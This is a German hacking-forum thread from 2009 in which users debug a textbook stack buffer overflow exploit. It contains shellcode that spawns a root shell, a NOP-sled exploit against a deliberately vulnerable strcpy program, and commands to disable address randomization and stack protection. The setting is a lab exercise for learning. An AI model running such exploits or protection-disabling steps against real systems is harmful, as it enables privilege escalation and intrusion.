Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Code Kitchen Allgemeines Coder-Forum rund um das Programmieren eigenständiger, ausführbarer Programme.

Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow)

Diskussion: Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow) im Forum Code Kitchen, in der Kategorie Software Home; Anzeige Einst legte ich mir Forbidden Code von Jon Erickson zu. Da findet man folgendes Programm(naja, nicht wirklich, einiges muste ...

Antwort
Alt 18.05.09, 20:26   #1 (permalink)
 
Registriert seit: 01.03.09
NBBN Leistung: Facit NTK
Likes: 0
Standard Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow)

Anzeige

Einst legte ich mir Forbidden Code von Jon Erickson zu. Da findet man folgendes Programm(naja, nicht wirklich, einiges muste angepasst werden, da einiges nach gcc updates nicht mehr so ist, wie es früher mal war).

Code:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
	__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
	
int i, offset;
long esp, ret, *addr_ptr;
char *ptr;
char *buffer = (char *)malloc(600);
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr: 0x%x\n", ret);


ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0;i < 600; i+=4)
{
	*(addr_ptr++) = ret;
}	


for(i=0; i < 200; i++)
{
	buffer[i] = '\x90';
}

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{
	*(ptr++) = shellcode[i]; 
}

buffer[600-1] = 0;

execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;


}
Das nette Programm:
Code:
#include <cstring>

#include <iostream>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Das nette Programm stürzt ab: "Speicherzugriffsfehler". Weiss jemand, warum dies nicht funktioniert?

Ich behaupte Spontan, dass ich den offset anpassen muss, da ich glaube, dass der Exploit nicht so präzise die Rücksprungadresse vom NOP-Sled trifft.

Ich bedanke mich schonmal für jede Hilfe ;).
NBBN ist offline   Mit Zitat antworten
Alt 18.05.09, 20:46   #2 (permalink)
 
Benutzerbild von mauralix
 
Registriert seit: 17.04.06
mauralix Leistung: 8086
Likes: 3
Standard

Naja, das kann mehrere Ursachen haben. Andere Compiler(versionen/optionen) und Kernelversionen erzeugen anderen Code. Eventuell ist auch irgendein Stacksmashingschutz aktiv.
mauralix ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 18.05.09, 21:33   #3 (permalink)
 
Registriert seit: 12.01.09
lone.wolf Leistung: Z3
lone.wolf eine Nachricht über AIM schicken
Likes: 1
Standard RE: Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow)

Zitat:
Original von NBBN
Code:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
	__asm__("movl %esp, %eax");
}
Warum zur Hölle verwendest du diese Funktion, um den SP. zu ermitteln ?
Der Stackpointer ist in jedem Programm in jeder Function variable!
Also ESP_ImExploiter != ESP_ImVulnerablenProg.

MfG
lone.wolf ist offline   Mit Zitat antworten
Alt 19.05.09, 01:54   #4 (permalink)
 
Registriert seit: 12.04.09
CiscoKid Leistung: Z3
Likes: 2
Standard

Zitat:
Warum zur Hölle verwendest du diese Funktion, um den SP. zu ermitteln ?
Der Stackpointer ist in jedem Programm in jeder Function variable!
Also ESP_ImExploiter != ESP_ImVulnerablenProg.
Das wird gemacht, um wenigstens einen groben ANhaltspunkt zu haben wo der SP ist.
Das ganze und der richtige Offset kann zu relativ guten Ergebnissen führen (und es ist ganz schön old-sk00l).



Nun zu dir NBBN, erstmal den SSP (StackSmashingProtector) ausschalten, sofern das noch nicht geschehen ist:
# echo 0 > /proc/sys/kernel/randomize_va_space *
Es gibt zwar diverse Möglichkeiten, sowas zu umgehen, aber ich denke die sind atm noch zu fortgeschritten für dich.
.


Zitat:
Das nette Programm stürzt ab: "Speicherzugriffsfehler". Weiss jemand, warum dies nicht funktioniert?
Die Rückspurngaddresse stimmt nicht. Ob das jetzt an einem StackSmashignProtector oder am falschen Offset liegt, sei jetzt mal dahingestellt. Wahrscheinlicher ist eine Mischung aus beidem.


Zitat:
Ich behaupte Spontan, dass ich den offset anpassen muss, da ich glaube, dass der Exploit nicht so präzise die Rücksprungadresse vom NOP-Sled trifft.
Damit wirst du auch höchstwahrscheinlich Recht haben.

Gut, das heisst dann also: schmeiss deinen Debugger an und ermittle den korrekten Offset.
Falls du damit Probleme haben solltest, lass es uns wissen.

grüsse

* Falls du keine root-Rechte haben solltest (warum auch immer ), kannst du auch mal ein "setarch i686 -R" probieren. -R = Disables randomization of the virtual address space.
__________________
Code:
# define B f[a]
char  f[2][26][82],i,j,a=0,c[]="_o",n;main(){B[3][3]=B[3][2]=B[3][1]=B[2][3]=B[1][2]=1;for
(;;){system("clear");for(i=1;i< 25;i++){for(j=1; j<81;j++){printf("%c",c[f[!a][i][j]]);n=B
[i-1][j-1]+B[i-1][j]+B[i-1][j+1]+B[i][j-1]+B[i][j+1]+B[i+1][j-1]+B[i+1][j]+B[i+1][j+1];f[!
a][i][j]=(!B[i][j]&&n==3) ||(B[i][j]&&n>1&&n<4);}puts("");}sleep(1);a=!a;}}
CiscoKid ist offline   Mit Zitat antworten
Alt 19.05.09, 14:08   #5 (permalink)
Themenstarter
 
Registriert seit: 01.03.09
NBBN Leistung: Facit NTK
Likes: 0
Standard

Hallo,

@lone.wolf: Das ist nicht mein Code, wie auch erwähnt...
@CiscoKid: Vielen Dank. Ich hab mir schon gedacht, dass eine SSP dahinter steckt, aber habe stattdessen geglaubt, dass sowas nicht standardmäßig aktiviert zu sein scheint. Den Rest bekomme ich alleine gebacken.

Mfg, NBBN.
NBBN ist offline   Mit Zitat antworten
Alt 30.05.09, 00:16   #6 (permalink)
 
Registriert seit: 29.05.09
steppenwoelfin Leistung: Facit NTK
Likes: 0
Standard Forbidden Code - stack (buffer) overflow

Hallo NBBN,

also ich hab das Beispiel auch die letzten Tage abgeschrieben und habe es zumindest unter UBUNTU 9.04 nicht zum Laufen bekommen und unter Mac OS x habe ich eben die Error-Msg "segmentation fault" bekommen.
Ich rate dir mal, einfach nur zum Test, lade dir mal Ubuntu 4.10 runter:
http://old-releases.ubuntu.com/releases/

dann hol dir durch:
sudo apt-get install gcc-3.3 den compiler und dann gehts schon los...
1) vuln.c compilieren, dann chown root vuln dann chmod +s vuln machen
2) ggc-3.3 -o exploit exploit.c ausführen und dann durch ./exploit ausführen...

dann müsste alles passen!

Es ist so, dass die neueren Linux Distributionen den Stack schützen, es gibt angeblich Möglichkeiten, diesen Stack-Schutz aufzuheben aber die letzten 2 Tage habe ich vergebens daran gearbeitet, denn auch wenn ich gcc -fno-stack-protector und -Wno-stack-protector -o exploit exploit.c eingegeben habe und auch die randomize_va_space auf 0 gesetzt habe, habe ich auch ein "segmentation fault" bekommen.

Falls du schon weitergekommen bist als ich, würde ich dich bitten, mir die Infos zukommen zu lassen!

Ansonsten führ es einfach mit Ubuntu 4.10 aus, diese Version hat noch keinen Stack Schutz implementiert!

Hoffe, du hast Freude am Probieren!


Liebe Grüße,
steppenwoelfin
steppenwoelfin ist offline   Mit Zitat antworten
Alt 15.06.09, 18:12   #7 (permalink)
 
Registriert seit: 02.12.07
nookstar Leistung: Facit NTK
Likes: 0
Standard

Ähm das gehört jetzt zwar nicht hier hin aber fehlt bei der Funktion "sp()" nicht das Schlüsselwort "return" ?

Code:
unsigned long sp(void)  {  	__asm__("movl %esp, %eax");  }
Ich kenne mich mit asm leider nicht so aus und das verwirrt mich ein wenig :>
nookstar ist offline   Mit Zitat antworten
Alt 15.06.09, 18:49   #8 (permalink)
 
Benutzerbild von mauralix
 
Registriert seit: 17.04.06
mauralix Leistung: 8086
Likes: 3
Standard

In eax wird der Rückgabewert gespeichert. Daher wird kein Return mehr benötigt.
mauralix ist offline   Mit Zitat antworten
Alt 16.06.09, 13:36   #9 (permalink)
 
Registriert seit: 02.12.07
nookstar Leistung: Facit NTK
Likes: 0
Standard

Achso danke.
Aber noch eine Frage, ich habe schon öfters eine "1" hinter einem asm Mnemonic gesehen, hat das irgendeine besondere Bedeutung ?
nookstar ist offline   Mit Zitat antworten
Alt 16.06.09, 20:47   #10 (permalink)
 
Benutzerbild von mauralix
 
Registriert seit: 17.04.06
mauralix Leistung: 8086
Likes: 3
Standard

@nookstar: Was du meinst ist vermutlich keine 1 sondern ein l. Zum Beispiel bei movl.
Was soviel heißt wie move long.
mauralix ist offline   Mit Zitat antworten
Alt 17.06.09, 11:04   #11 (permalink)
Moderator
 
Registriert seit: 30.06.08
Chromatin Leistung: K 6-3Chromatin Leistung: K 6-3Chromatin Leistung: K 6-3Chromatin Leistung: K 6-3
Likes: 227
Standard

Zitat:
Es ist so, dass die neueren Linux Distributionen den Stack schützen...
Nur der Details wegen. Es ist ein Compilerfeature und hat mit Linux nichts zu tun (eigentlich sind sie sogar mit die letzten die es integriert haben, zumindest @canary).
__________________
Wenn ein Gesetz nicht gerecht ist, dann geht die Gerechtigkeit vor dem Gesetz!

Habo Blog - http://blog.hackerboard.de/
Chromatin ist offline   Mit Zitat antworten
Alt 17.06.09, 16:40   #12 (permalink)
 
Registriert seit: 02.12.07
nookstar Leistung: Facit NTK
Likes: 0
Standard

Zitat:
Original von mauralix
@nookstar: Was du meinst ist vermutlich keine 1 sondern ein l. Zum Beispiel bei movl.
Was soviel heißt wie move long.
lol tatsächlich ein "l" xD
Danke ^^
nookstar ist offline   Mit Zitat antworten
Alt 25.01.10, 01:00   #13 (permalink)
 
Registriert seit: 29.05.09
steppenwoelfin Leistung: Facit NTK
Likes: 0
Standard Forbidden Code

Hallo liebes GSI Team!

Bitte sieht euch dieses Forum mal genauer an, sind wirklich tolle Leute hier und man kann echt etwas über die Angreifbarkeit lernen und auch weitergeben, sofern man Lust hat!


Liebe Grüße,
Luna09 / Steppenwoelfin
steppenwoelfin ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Software Home » Code Kitchen » Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow)
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Forbidden Code (Exploits schreiben) Prometheus Programmiersprachen 14 03.03.12 11:55
Forbidden Code (deutsch) boehmi HaBo-Marktplatz 5 12.05.10 18:26
Buffer Overflow - stack smashing detected Woosh (In)security allgemein 4 06.01.09 16:32
Resp.Code 403 "Forbidden" mit PHP und Snoopy tomfly (Web-) Design und webbasierte Sprachen 11 25.03.08 16:23
Stack Overflow harissa Hacks & Crackmes 0 12.11.07 18:35


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61